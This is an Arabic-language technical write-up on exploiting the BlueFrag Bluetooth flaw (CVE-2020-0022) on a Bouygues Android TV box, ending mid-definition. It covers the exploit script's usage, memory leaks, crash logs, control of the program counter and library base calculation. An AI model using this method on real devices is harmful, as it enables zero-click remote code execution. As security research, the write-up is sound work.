CVE-2020-0022

########################################################################################

استغلال ثغرة CVE-2020-0022 على Bouygues BBox Miami Android TV 8.0 - ARM32 Cortex A9 بواسطة Polo35 - 2020/08/24

########################################################################################

"Usage: python polo_exploit.py target_bt_mac [target_adb_ip, shell_command, disable_reboot, verbose]"

########################################################################################

استناداً إلى نصوص برمجية من Jan Ruge CVE-2020-0022 هي ثغرة RCE بنقرة صفرية عبر Bluetooth في Android 8.0-9.0 – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/

########################################################################################

مقدمة ونصائح

########################################################################################

يستخدم النص البرمجي وحدة bluetooth في Python للحصول على مقبض اتصال ACL لذا تحتاج إلى تثبيت مكتبات bluetooth و pybluez (الإصدار 0.22 لـ python2 وآخر إصدار لـ python3)

sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez

يمكنك تمرير أمر شل إلى النص البرمجي كوسيط، سيتم تنفيذه باستخدام دالة system بواسطة برنامج بلوتوث الخفي يتوفر 104 حرفاً فقط للأمر لأن سلسلة ROP تأخذ أول 20 بايت من الحمولة الثانية

مثال: shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"

يمكن للنص البرمجي استخدام adb للتحقق من الاتصال ومراقبة logcat وإعادة تشغيل الهدف عند الحاجة لهذا يجب تمرير IP الهدف كوسيط تأكد من الاتصال بالهدف باستخدام adb connect وافتح شل للتحقق من الاتصال قبل استخدام النص البرمجي

يتم الحصول على أفضل النتائج عن طريق الاتصال بالهدف عبر البلوتوث باستخدام هاتف ذكي عندما يقول النص البرمجي ذلك ;) قد يستغرق الأمر أكثر من 30 محاولة لتفعيل الاستغلال لكنه يعمل أحياناً من المحاولة الأولى

########################################################################################

تسريب الذاكرة على ARM32

########################################################################################

يعتمد جهاز Bouygues BBox Miami على معالج ARM 32 بايت Cortex A9 الفرق عن ARM64 هو أن دالة memcpy في libc لا تتعرض للـ underflow، لذلك من المستحيل الحصول على نفس التسريبات التي حصل عليها Jan Ruge لكن الثغرة موجودة ويمكن استغلالها بطريقة مختلفة

عن طريق إرسال حزمة l2cap بتجزئة 4 بايت، يمكننا تفعيل memcpy بطول 0 في reassemble_and_dispatch هذا يسمح بالحصول على 4 بايت من بيانات غير مهيأة في نهاية echo

زيادة طول الحزمة الأولى (يُشار إليها لاحقاً بـ mem_offset) تسمح بـ 'المشي' في الذاكرة غير المهيأة الحصول على 32 echo بنفس mem_offset يعطي من 2 إلى 8 echos قابلة للاستغلال تتكرر الـ echos لذا لا حاجة للحصول على أكثر من 32 echo بنفس mem_offset هذه الطريقة تملأ الذاكرة بالحزم أيضاً، لذا من السهل التعرف على الأنماط وإيجاد الإزاحات في التسريبات

mem_offset هو طول حزمة l2cap بالأحرف مثال: mem_offset 184 = حزمة l2cap من 184 حرفاً = حزمة l2cap من 368 بايت

مثال على 'المشي' في الذاكرة والبيانات غير المهيأة مع التكرارات:

176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................

نرى عند mem_offset 180 و 184 بعض عناوين الذاكرة بصيغة little endian

a4ce80a3 يعطي العنوان 0xa380cea4 24d280a3 يعطي العنوان 0xa380d224 a4d580a3 يعطي العنوان 0xa380d5a4 9cce80a3 يعطي العنوان 0xa380ce9c 1cd280a3 يعطي العنوان 0xa380d21c 9cd580a3 يعطي العنوان 0xa380d59c

يوجد على الأقل 4 أو 5 mem_offset حيث يمكن العثور على عنوان ذاكرة حقيقي بعد كل إعادة تشغيل تقريباً سنرى لاحقاً كيف يمكننا استخدامها

########################################################################################

تحليل التعطل الأول

########################################################################################

عن طريق إرسال حزمة l2cap بتجزئة 2 بايت، يمكننا تفعيل memcpy بطول -2 في reassemble_and_dispatch هذا يسمح بفيضان خارج الحزمة الجزئية بمقدار 30 بايت من بيانات مسيطر عليها من الحزمة الثانية بسبب 30 بايت المنسوخة، ليست هناك حاجة لإرسال حزم أكبر من 32 بايت مع آخر 4 بايت صفر

طريقة الفيضان هذه تتسبب أحياناً في تعطل برنامج البلوتوث الخفي مع تسجيل R0 مسيطر عليه في _Z11list_appendP6list_tPv+65:

HCI: Found link transmit data buffer queue at 0xab90dbc4 HCI: Found SetDataAdvDataSender function at 0x91875b29 HCI: Found bte_hh_evt function at 0x91818429 HCI: Found bluetooth library base address at 0x917a0000 First payload: 0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xdead0003 0x10: 0xdead0004 | 0x14: 0xdead0005 | 0x18: 0xdead0006 | 0x1c: 0xdead0007 Second payload: 0x00 : 0xab90db14: 0xdead0008 | 0xab90db18: 0xdead0009 | 0xab90db1c: 0xdead000a | 0xab90db20: 0xdead000b 0x10 : 0xab90db24: 0xdead000c | 0xab90db28: 0xdead000d | 0xab90db2c: 0xdead000e | 0xab90db30: 0xdead000f 0x20 : 0xab90db34: 0xdead0010 | 0xab90db38: 0xdead0011 | 0xab90db3c: 0xdead0012 | 0xab90db40: 0xdead0013 0x30 : 0xab90db44: 0xdead0014 | 0xab90db48: 0xdead0015 | 0xab90db4c: 0xdead0016 | 0xab90db50: 0xdead0017 0x40 : 0xab90db54: 0xdead0018 | 0xab90db58: 0xdead0019 | 0xab90db5c: 0xdead001a | 0xab90db60: 0xdead001b 0x50 : 0xab90db64: 0xdead001c | 0xab90db68: 0xdead001d | 0xab90db6c: 0xdead001e | 0xab90db70: 0xdead001f 0x60 : 0xab90db74: 0xdead0020 | 0xab90db78: 0xdead0021 | 0xab90db7c: 0xdead0022 | 0xab90db80: 0xdead0023 0x70 : 0xab90db84: 0xdead0024 | 0xab90db88: 0xdead0025 | 0xab90db8c: 0xdead0026 | 0xab90db90: 0xdead0027 0x80 : 0xab90db94: 0xdead0028 | 0xab90db98: 0xdead0029 | 0xab90db9c: 0xdead002a | 0xab90dba0: 0xdead002b 0x90 : 0xab90dba4: 0xdead002c | 0xab90dba8: 0xdead002d | 0xab90dbac: 0xdead002e | 0xab90dbb0: 0xdead002f 0xa0 : 0xab90dbb4: 0xdead0030 | 0xab90dbb8: 0xdead0031 | 0xab90dbbc: 0xdead0032 | 0xab90dbc0: 0xdead0033 0xb0 : 0xab90dbc4: 0xdead0034 | 0xab90dbc8: 0xdead0035 ADB: Found interesting crash !!! libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0003 in tid 3918 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 3871, tid: 3918, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0003 DEBUG : r0 dead0003 r1 90d13e00 r2 90d13e00 r3 00000000 DEBUG : r4 ab9059f8 r5 90d13e00 r6 00000000 r7 00000000 DEBUG : r8 00000000 r9 904df340 sl 904df338 fp 00000001 DEBUG : ip acf310ec sp 904defd8 lr 918a3131 pc 918c98e2 cpsr a00f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 001298e2 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+65) DEBUG : #01 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #02 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78) DEBUG : #03 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440) DEBUG : #04 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42) DEBUG : #05 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #06 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #07 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #08 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #09 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #10 pc 0001b1dd /system/lib/libc.so (__start_thread+32)

التفكيك عند 001298e2 يعطي:

.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => تحميل R0 من R4+0x10 .text:0x1298E2 LDR R1, [R0] => تحميل R1 من R0 => تعطل إذا لم يكن مسيطراً عليه !!! .text:0x1298E4 MOVS R0, #8 => تعيين 8 في R0 .text:0x1298E6 BLX R1 => تفرع مع رابط وتبديل إلى R1 => التفرع إلى R1 المسيطر عليه

يظهر التفكيك أننا نستبدل الذاكرة في عنوان R4+0x10 وهو المُخصِّص في استدعاء "node = list->allocator->alloc(8)":

signed int list_append(list_t *list_ptr, void *data_ptr) { list_t *list = list_ptr; // r4 ... list_node_t node = (list_node_t)list->allocator->alloc(sizeof(list_node_t)); <= list = r4 / allocator = offset 0x10 / alloc = r1 / 8 = r0 / تعطل !!! ... node->data = data_ptr; // r5 ... }

تعطل الخفي على LDR R1, [R0] مع تسجيل R0 = dead0003 عند محاولة تحميل العنوان يمكننا التحكم في R0 باستخدام الحمولة الأولى + 0xC، لذا إذا وضعنا عنواناً صالحاً فيه يمكننا التحكم في R1 باستخدام LDR R1, [R0] ومن ثم التحكم في PC باستخدام BLX R1

########################################################################################

التحكم في عداد البرنامج عن طريق فيضان عنوان مسرب

########################################################################################

باستخدام طريقة الفيضان مع أول عنوان ذاكرة تم العثور عليه عند mem_offset 180، يمكننا نقل التعطل إلى تفرع إلى تسجيل R1 مسيطر عليه

HCI: Got ACL connection handle: 0xb
HCI: Getting link transmit data buffer queue pointer... HCI: Found link transmit data buffer queue at 0xa458dbc4 HCI: Getting bluetooth library function pointers... HCI: Found SetDataAdvDataSender function at 0x8a4a3b29 HCI: Found bluetooth library base address at 0x8a3ce000 Building the payloads... First payload: 0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xa458dbc4 0x10: 0xdead0003 | 0x14: 0xdead0004 | 0x18: 0xdead0005 | 0x1c: 0xdead0006 Second payload: 0x00 : 0xa458dbc4: 0xdead0007 | 0xa458dbc8: 0xdead0008 | 0xa458dbcc: 0xdead0009 | 0xa458dbd0: 0xdead000a 0x10 : 0xa458dbd4: 0xdead000b | 0xa458dbd8: 0xdead000c | 0xa458dbdc: 0xdead000d | 0xa458dbe0: 0xdead000e 0x20 : 0xa458dbe4: 0xdead000f | 0xa458dbe8: 0xdead0010 | 0xa458dbec: 0xdead0011 | 0xa458dbf0: 0xdead0012 0x30 : 0xa458dbf4: 0xdead0013 | 0xa458dbf8: 0xdead0014 | 0xa458dbfc: 0xdead0015 | 0xa458dc00: 0xdead0016 0x40 : 0xa458dc04: 0xdead0017 | 0xa458dc08: 0xdead0018 | 0xa458dc0c: 0xdead0019 | 0xa458dc10: 0xdead001a 0x50 : 0xa458dc14: 0xdead001b | 0xa458dc18: 0xdead001c | 0xa458dc1c: 0xdead001d | 0xa458dc20: 0xdead001e 0x60 : 0xa458dc24: 0xdead001f | 0xa458dc28: 0xdead0020 | 0xa458dc2c: 0xdead0021 | 0xa458dc30: 0xdead0022 0x70 : 0xa458dc34: 0xdead0023 | 0xa458dc38: 0xdead0024 | 0xa458dc3c: 0xdead0025 | 0xa458dc40: 0xdead0026 0x80 : 0xa458dc44: 0xdead0027 | 0xa458dc48: 0xdead0028 | 0xa458dc4c: 0xdead0029 | 0xa458dc50: 0xdead002a 0x90 : 0xa458dc54: 0xdead002b | 0xa458dc58: 0xdead002c | 0xa458dc5c: 0xdead002d | 0xa458dc60: 0xdead002e 0xa0 : 0xa458dc64: 0xdead002f | 0xa458dc68: 0xdead0030 | 0xa458dc6c: 0xdead0031 | 0xa458dc70: 0xdead0032 0xb0 : 0xa458dc74: 0xdead0033 | 0xa458dc78: 0xdead0034 Prepare to connect to the target via bluetooth with your smartphone HCI: Spraying second payload at 0xa458dbc4 Connect to the target via bluetooth with your smartphone
HCI: Triggering the exploit with first payload... (1/3) ADB: Bluetooth deamon crashed (3/20)
ADB: Found interesting crash !!! 07-20 09:28:01.020 20972 21006 F libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0032 in tid 21006 (bt_workqueue) 07-20 09:28:01.123 21061 21061 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 07-20 09:28:01.123 21061 21061 F DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' 07-20 09:28:01.123 21061 21061 F DEBUG : Revision: '0' 07-20 09:28:01.123 21061 21061 F DEBUG : ABI: 'arm' 07-20 09:28:01.123 21061 21061 F DEBUG : pid: 20972, tid: 21006, name: bt_workqueue >>> com.android.bluetooth <<< 07-20 09:28:01.123 21061 21061 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0032 07-20 09:28:01.123 21061 21061 F DEBUG : r0 00000008 r1 dead0033 r2 8970a200 r3 00000000 07-20 09:28:01.123 21061 21061 F DEBUG : r4 a4585c38 r5 8970a200 r6 00000000 r7 00000000 07-20 09:28:01.123 21061 21061 F DEBUG : r8 00000000 r9 891fd340 sl 891fd338 fp 00000001 07-20 09:28:01.124 21061 21061 F DEBUG : ip a66aa0ec sp 891fcfd8 lr 8a4f78e9 pc dead0032 cpsr 200f0030 07-20 09:28:01.228 21061 21061 F DEBUG : 07-20 09:28:01.228 21061 21061 F DEBUG : backtrace: 07-20 09:28:01.228 21061 21061 F DEBUG : #00 pc dead0032 07-20 09:28:01.229 21061 21061 F DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70) 07-20 09:28:01.229 21061 21061 F DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) 07-20 09:28:01.229 21061 21061 F DEBUG : #03 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78) 07-20 09:28:01.229 21061 21061 F DEBUG : #04 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440) 07-20 09:28:01.229 21061 21061 F DEBUG : #05 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42) 07-20 09:28:01.229 21061 21061 F DEBUG : #06 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) 07-20 09:28:01.229 21061 21061 F DEBUG : #07 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) 07-20 09:28:01.229 21061 21061 F DEBUG : #08 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) 07-20 09:28:01.229 21061 21061 F DEBUG : #09 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) 07-20 09:28:01.229 21061 21061 F DEBUG : #10 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) 07-20 09:28:01.229 21061 21061 F DEBUG : #11 pc 0001b1dd /system/lib/libc.so (__start_thread+32)

نفس التفكيك عند 001298e7 يعطي:

.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => تحميل R0 من R4+0x10 .text:0x1298E2 LDR R1, [R0] => تحميل R1 من R0 => تعطل إذا لم يكن مسيطراً عليه .text:0x1298E4 MOVS R0, #8 => تعيين 8 في R0 .text:0x1298E6 BLX R1 => تفرع مع رابط وتبديل إلى R1 => التفرع إلى R1 المسيطر عليه !!! .text:0x1298E8 MOV R1, R0

الآن تعطل الخفي على BLX R1 مع تسجيل R1 = dead0033 هذا هو النمط المرسل في الحزم المجزأة عند الحصول على تسريبات عند mem_offset 184 ستكون هذه الحمولة الثانية بعنوان معروف عند إزاحة - 0xb0 من أول عنوان ذاكرة تم العثور عليه عند mem_offset 180

يمكننا الآن التحكم في PC لمكتبة bluetooth.marvellberlin.so حيث يوجد مكان ثانٍ في الذاكرة مع البيانات ونعرف عنوانه

بعد الإشارة تحتوي السجلات على:

• R0 = 0x8
• R1 = قيمة الحمولة الثانية + 0xb0
• R4 = عنوان الحمولة الأولى - 0x4

########################################################################################

الحصول على العنوان الأساسي لمكتبة Bluetooth

########################################################################################

باستخدام طريقة التسريب عند mem_offset 28، يمكننا العثور على بعض عناوين الذاكرة:0026 : 00002954 74007400 74006600 58a9292b 74006600 74007400 72002e00 58a9292b 00002954 70007000 74007400 58a9292b 74006600 74007400 74006600 58a9292b : ..)Tt.t.t.f.X.)+t.f.t.t.r...X.)+..)Tp.p.t.t.X.)+t.f.t.t.t.f.X.)+ 0027 : 0029546c 00740066 002e0074 a9292b72 00660000 00700066 00740066 a9292b72 0029546c 00740066 00660066 a9292b72 00660000 00740066 002e0074 a9292b72 : .)Tl.t.f...t.)+r.f...p.f.t.f.)+r.)Tl.t.f.f.f.)+r.f...t.f...t.)+r 0028 : 29546c8f 70006600 74006600 292b728f 66000000 74006600 66006600 292b728f 29546c8f 74006600 2e007400 292b728f 66000000 70006600 74006600 292b728f : )Tl.p.f.t.f.)+r.f...t.f.f.f.)+r.)Tl.t.f...t.)+r.f...p.f.t.f.)+r. 0029 : 00660066 00660000 2b728f01 00000000 00660000 00740074 2b728f01 00660066 00660000 00660066 2b728f01 00000000 00660000 00660000 2b728f01 00740074 : .f.f.f..+r.......f...t.t+r...f.f.f...f.f+r.......f...f..+r...t.t 0030 : 66006600 66000000 728f0100 00000000 66000000 66006600 728f0100 74007400 66006600 66000000 728f0100 00000000 66000000 66000000 728f0100 74007400 : f.f.f...r.......f...f.f.r...t.t.f.f.f...r.......f...f...r...t.t.

نرى التسريبات 29546c8f و 292b728f والتي تعطي العنوان 0x8f6c5429 و 0x8f722b29 بالنظام الصغير (little endian)

باستخدام طريقة التدفق (overflow method) مع هذه العناوين، يحدث تعطل للخدمة في bluetooth.marvellberlin.so مع التفريغ التالي:

libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x10 in tid 4151 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 4107, tid: 4151, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x10 DEBUG : Cause: null pointer dereference DEBUG : r0 00000008 r1 8c35db29 r2 8b006300 r3 00000020 DEBUG : r4 a6405578 r5 8b006300 r6 00000020 r7 ff183456 DEBUG : r8 a6405560 r9 00000006 sl 00000002 fp 8affef70 DEBUG : ip 00001e7e sp 8affef60 lr 8c3b18e9 pc 8c35db3c cpsr 200f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 000d5b3c /system/vendor/lib/hw/bluetooth.marvellberlin.so (ZN4base8internal7InvokerINS0_9BindStateIMN12_GLOBAL__N_125BleAdvertisingManagerImplEFvhhhhPhNS_8CallbackIFvhELNS0_8CopyModeE1EEEEJNS0_17UnretainedWrapperIS4_EEbEEEFvhhhS5_S9_EE3RunEPNS0_13BindStateBaseEOhSJ_SJ_OS5_OS9+19) DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70) DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #03 pc 0010477f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z16l2c_rcv_acl_dataP6BT_HDR+2190) DEBUG : #04 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #05 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #06 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #07 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #08 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #09 pc 0001b1dd /system/lib/libc.so (__start_thread+32)

نصل إلى قسم .text في مكتبة bluetooth.marvellberlin.so عند الإزاحة 000d5b3c

.text:0x0D5B28 SetDataAdvDataSender ; DATA XREF: .text:0x0D2B82↑o .text:0x0D5B28 .text:0x0D5B28 PUSH.W {R4-R11,LR} .text:0x0D5B2C SUB SP, SP, #0x1C .text:0x0D5B2E LDR R7, =(off_1A2718 - 0xD5B38) .text:0x0D5B30 ADD.W R11, SP, #0x10 .text:0x0D5B34 ADD R7, PC ; off_1A2718 .text:0x0D5B36 LDR R7, [R7] .text:0x0D5B38 LDR R7, [R7] .text:0x0D5B3A STR R7, [SP,#0x1C-4] .text:0x0D5B3C LDRD.W R10, R7, [R0,#8]

يحدث التعطل عند 0xd5b3c بعد بداية الدالة مباشرة، لذا فإن العنوان الذي تم العثور عليه هو مؤشر لهذه الدالة هذه الدالة هي SetDataAdvDataSender من الفئة BleAdvertisingManagerImpl المستخدمة كمؤشر في دالة SetData لملف btm_ble_multi_adv.cc

void SetData(uint8_t inst_id, bool is_scan_rsp, std::vector<uint8_t> data, MultiAdvCb cb) override { ... DivideAndSendData(inst_id, data, cb, base::Bind(&BleAdvertisingManagerImpl::SetDataAdvDataSender, base::Unretained(this), is_scan_rsp)); }

لدينا الآن عنوان موقع ثابت في مكتبة bluetooth.marvellberlin.so ويمكننا حساب العنوان الأساسي لهذه المكتبة الإزاحة الحقيقية للعنوان الأساسي للمكتبة هي 0XD5B29 من المؤشر إلى دالة SetDataAdvDataSender الموجودة عند mem_offset 28

في المثال أعلاه، وجدنا دالة SetDataAdvDataSender عند 0X8C35DB29 وقمنا بتجاوز هذا العنوان كان العنوان الأساسي لمكتبة בלuetooth هو 0X8C35DB29 - 0XD5B29 = 0X8C288000

كما وجدنا مؤشرًا إلى 0x8C300429 في نفس التسريب عند mem_offset 28 الإزاحة بين العنوانين الموجودين هي 0x8C35DB29 - 0x8C300429 = 0x5D700 نعلم أن SetDataAdvDataSender موجود عند 0xD5B28 في مكتبة البلوتوث، لذا يمكننا حساب عنوان المؤشر الثاني: 0xD5B28 - 0x5D700 = 0x78428 عند 0x78428 في مكتبة البلوتوث لدينا الدالة bte_hh_evt المستخدمة في دالتي btif_hh_service_registration و btif_hh_execute_service في ملف btif_hh.cc

void btif_hh_service_registration(bool enable) { ... BTA_HhEnable(BTA_SEC_ENCRYPT, bte_hh_evt); ... }

bt_status_t btif_hh_execute_service(bool b_enable) { ... BTA_HhEnable(BTUI_HH_SECURITY, bte_hh_evt); ... }

العنوانان الموجودان عند mem_offset 28 ينتهيان دائمًا بـ 0xB29 لدالة SetDataAdvDataSender و 0x429 لدالة bte_hh_evt وبهذه الطريقة، نحتاج فقط إلى أحد العنوانين المعروفين في التسريب للعثور على العنوان الأساسي لمكتبة البلوتوث

للخلاصة، يمكننا العثور على العنوان الأساسي لمكتبة البلوتوث عن طريق:

• عنوان دالة SetDataAdvDataSender الذي ينتهي بـ 0xB29 => تطبيق إزاحة 0xD5B28
• عنوان دالة bte_hh_evt الذي ينتهي بـ 0x429 => تطبيق إزاحة 0x78429

########################################################################################

تحليل التعطل باستخدام كود مصدر أندرويد

########################################################################################

يظهر كود مصدر أندرويد أوريو 8.1 أننا نستبدل جزءًا من كائن قائمة المخزن المؤقت لبيانات الإرسال p_lcb->link_xmit_data_q

l2c_rcv_acl_data function create the tL2C_LCB* p_lcb object and pass it to l2c_link_check_send_pkts function which append the packet to link_xmit_data_q buffer queue

void l2c_rcv_acl_data(BT_HDR* p_msg) { ... tL2C_LCB* p_lcb; ... /* Find the LCB based on the handle / p_lcb = l2cu_find_lcb_by_handle(handle); ... / Send the data through the channel state machine */ if (rcv_cid == L2CAP_SIGNALLING_CID) { process_l2cap_cmd(p_lcb, p, l2cap_len); ... }

tL2C_LCB* l2cu_find_lcb_by_handle(uint16_t handle) { ... tL2C_LCB* p_lcb = &l2cb.lcb_pool[0];

for (xx = 0; xx < MAX_L2CAP_LINKS; xx++, p_lcb++) { if ((p_lcb->in_use) && (p_lcb->handle == handle)) { return (p_lcb); } } ... }

p_lcb is taken from the static l2cb.lcb_pool[0] object as define in l2c_main.cc

// / G L O B A L L 2 C A P D A T A / // tL2C_CB l2cb;

static void process_l2cap_cmd(tL2C_LCB* p_lcb, uint8_t* p, uint16_t pkt_len) { ... case L2CAP_CMD_ECHO_REQ: l2cu_send_peer_echo_rsp(p_lcb, id, p, cmd_len); ... }

void l2cu_send_peer_echo_rsp(tL2C_LCB* p_lcb, uint8_t id, uint8_t* p_data, uint16_t data_len) { ... p_buf = l2cu_build_header(p_lcb, (uint16_t)(L2CAP_ECHO_RSP_LEN + data_len), L2CAP_CMD_ECHO_RSP, id); ... l2c_link_check_send_pkts(p_lcb, NULL, p_buf); }

void l2c_link_check_send_pkts(tL2C_LCB* p_lcb, tL2C_CCB* p_ccb, BT_HDR* p_buf) { ... list_append(p_lcb->link_xmit_data_q, p_buf); ... }

bool list_append(list_t* list, void* data) { ... list_node_t* node = (list_node_t*)list->allocator->alloc(sizeof(list_node_t)); => Call to alloc replaced by our call (Only one parameter !!!) ... }

تعريف link_xmit_data_q في بنية tL2C_LCB هو:

/* Define a link control block. There is one link control block between

• this device and any other device (i.e. BD ADDR). / typedef struct t_l2c_linkcb { ... list_t link_xmit_data_q; /* Link transmit data buffer queue */ | Size 0x4 | Offset 0x44 ... } tL2C_LCB;

تعريف بنية list_t هو:

typedef struct list_t { list_node_t* head; | Size 0x4 | Offset 0x0 list_node_t* tail; | Size 0x4 | Offset 0x4 size_t length; | Size 0x4 | Offset 0x8 list_free_cb free_cb; | Size 0x4 | Offset 0xC const allocator_t* allocator; | Size 0x4 | Offset 0x10 } list_t; | Size 0x14

مع بنية list_node_t:

struct list_node_t {
struct list_node_t* next; | Size 0x4 | Offset 0x0 void* data; | Size 0x4 | Offset 0x4 }; | Size 0x8

وبنية allocator_t:

typedef struct {
alloc_fn alloc; | Size 0x4 | Offset 0x0 free_fn free; | Size 0x4 | Offset 0x4 } allocator_t; | Size 0x8

typedef struct {
